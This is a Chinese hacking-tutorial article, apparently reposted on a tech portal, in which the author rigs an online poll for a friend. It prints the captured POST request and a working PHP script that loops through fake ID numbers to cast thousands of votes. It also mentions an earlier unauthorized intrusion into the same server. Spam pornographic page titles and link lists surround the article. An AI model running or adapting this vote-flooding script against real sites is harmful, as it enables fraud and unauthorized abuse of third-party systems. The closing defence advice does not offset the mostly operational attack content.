成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

巧妙的投票作弊與嚴密的防范系統

安全 黑客攻防
前幾日朋友找我幫忙.說是在一個網站參加樣板房投票競選.有沒有辦法幫他刷第一票.心腸好的我自然是答應了.然后朋友發來了網站..看了下是asp的..服務器安全做的還不錯..

前幾日朋友找我幫忙.說是在一個網站參加樣板房投票競選.有沒有辦法幫他刷第一票.心腸好的我自然是答應了.然后朋友發來了網站..看了下是asp的..服務器安全做的還不錯..沒找到任何程序上的漏洞..通過旁注提權入侵進去后.發現管理員真的是很變態..本來打算修改數據庫的.剛看了下投票的代碼準備找出數據庫連接文件.就被管理踢了..接著這事就擱下了..過了幾天朋友又催..只好又看了下..才發現所有的漏洞都已經補掉..

還是直接從投票上入手把.希望可以找到突破口直接達到刷票的目的.投票選項如圖1.

 
圖1

朋友的樣板房名為"風 華廊"所以圖1中我勾選上了"風·華廊"最多可選10項..其中姓名.聯系電話.身份證號碼都是虛構的.經過反復投票測試.此投票系統只對身份證號碼進行了驗證..假設一下身份證號為1234567890.姓名為測試.聯系電話:13013011111 只需要把身份證號碼改為別的數字.如1234567891就可以再投上一票..并未對IP和cookies進行驗證.完全可以達到刷票的目的..

圖2是我抓的投票成功的數據包.

 
圖1

Aname=%B7%E7%26%238226%3B%BB%AA%C0%C8&username=%B2%E2%CA%D4&tel=13013011111&idcord=1234567890&Submit=%CC%E1%BD%BB

根據數據包構造出URL為

http://www.xxxx.com/ad/20061221/a.asp?action=add&Aname=%B7%E7%26%238226%3B%BB%AA% ... 13013011111&idcord=1234567890&Submit=%CC%E1%BD%BB

直接在IE里打開此頁面會出現如圖3的提示

 
圖1

但只要我們把其中的idcord=1234567890改為idcord=1234567891就會出現投票成功的對話框.知道了投票系統存在的缺陷后..現在就想辦法利用程序實現刷票的目的..

寫一個發包的程序把idcord設置為一個變量.然后每發送一次數據這個變量得數字就增加一個數.比如idcord=1234567**9循環一次就是idcord=1234567*79自動改變其中的數值..

這樣的程序用VB.C.ASP,PHP都不難實現..下面就介紹下PHP的..以下所涉及到的PHP代碼為EST的兄弟TTFCT所寫.

程序完整代碼(目標網站做了相應處理)

{?php
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",2);
print_r(Voting.... );
for($i=0;$i〈=9;$i++)
for($j=0;$j〈=9;$j++)
for($k=0;$k〈=9;$k++)
for($l=0;$l〈=9;$l++)
{
$packet ="POST /ad/20061221/a.asp?action=add HTTP/1.1 \r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, */* \r\n";
$packet.="Referer: http//www.xxx.com/ad/20061221/a.asp \r\n";
$packet.="Accept-Language: zh-cn \r\n";
$packet.="Content-Type: application/x-www-form-urlencoded \r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)\r\n";
$packet.="Host: www.xxx.com \r\n";
$packet.="Content-Length: 113 \r\n";
$packet.="Connection: Keep-Alive \r\n";
$packet.="Cache-Control: no-cache \r\n";
$packet.="Cookie: ASPSESSIONIDASDCQDBT=NKKJPDLAMAMNHJHHNBBLOCCH\r\n\r\n";
$packet.="Aname=%B7%E7%26%238226%3B%BB%AA%C0%C8&username=%B2%E2%CA%D4&tel
=13013011111&idcord=1234".$i.$j.$k.$l."90&Submit=%CC%E1%BD%BB\r\n";
if($fp=fsockopen("))
if(fwrite($fp,$packet,strlen($packet)))
print_r(

Success to vote
);
sleep(2);
print_r(

Wait for 2 seconds
);
}
?}

懂PHP的朋友一眼就能看出,這只是個發包的程序..其中ini_set("default_socket_timeout",2);為發送數據包的間隔時間為2秒.

for($i=0;$i<=9;$i++)

for($j=0;$j<=9;$j++)

for($k=0;$k<=9;$k++)

for($l=0;$l<=9;$l++)

是設置好的四個變量.在下面的數據包中..idcord=1234".$i.$j.$k.$l."90 自動生成idcord為一個不重復的數值

利用程序寫好了..下面就開始刷票..因為是PHP程序..所以要找個支持PHP的空間來運行..就算沒有空間只要安裝AppServ也一樣可以..AppServ可以在http://www.skycn.com/soft/13703.html免費下載到.安裝過程很簡單的..這里就不說了..

先來看下未刷票前.."風華廊"的票數是多少...

從圖4中可以看到是22票..接著我們執行PHP代碼..

 
圖4

出現"Success to vote"就是投票成功了..

 
圖5

因為我設置的是2秒鐘投一票..一個小時也就是1800票.所以經過一個多小時后"風華廊"的票數成了2227票.圖6

  
圖6

朋友的作品理所當然的就拿了第一..而我也因此獲得了一頓豐富的午餐.

其實這樣的投票程序只要加上cookies驗證..一個IP只能投一票..每次投票的間隔時間..等措施就很難作弊了.此文并不是要教大家如何去刷投票.只是想以投票的目的讓大家知道是如何刷票的..并在知道刷票的同時怎樣去防范它..

責任編輯:小克 來源: IT168
相關推薦

2010-09-30 08:30:01

2011-12-01 09:19:32

數據中心監控系統服務器

2010-09-14 22:01:48

2009-06-26 16:09:53

2010-09-07 10:44:14

2013-04-27 10:24:03

2015-06-19 13:38:25

2016-10-13 16:20:11

2009-07-05 11:27:09

2010-09-02 20:57:20

2023-12-26 12:13:31

野指針C++編程

2020-11-23 08:30:42

AI

2015-08-04 08:40:28

2011-11-08 09:46:10

2013-05-13 17:33:10

2023-10-26 12:10:07

2011-11-21 16:35:46

2010-09-17 09:27:40

Linux 服務器安全

2012-12-05 17:24:00

2017-03-23 09:13:56

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 中文字幕亚洲区一区二 | 亚洲精品一区二区在线观看 | 涩涩鲁亚洲精品一区二区 | 国产免费拔擦拔擦8x高清 | 另类二区 | 国产在线中文字幕 | 午夜在线| 国产精品美女一区二区三区 | 亚洲区一 | 精品欧美一区二区三区久久久 | 在线观看国产精品视频 | 日本亚洲一区 | 国产一二三视频在线观看 | 秋霞电影一区二区 | 在线精品亚洲欧美日韩国产 | 狠狠综合久久av一区二区小说 | 黄色片在线免费看 | 日日夜夜天天干 | 国产精品久久久久久久久久三级 | 欧美日韩三区 | 精品在线一区二区 | 久久一 | 午夜欧美| 日韩一级欧美一级 | 成人精品网 | 一区二区三区在线观看免费视频 | 欧美一级电影免费 | 天堂在线www | 香蕉一区二区 | 国产一区二区三区在线 | 精品亚洲一区二区三区 | 99热.com | 亚洲一区二区免费视频 | 午夜精品久久久久久久久久久久久 | 国产91在线观看 | 综合色站导航 | 久久精品国产久精国产 | 国产精品久久av | 日韩精品在线看 | 中文字幕一区二区在线观看 | av中文字幕在线观看 |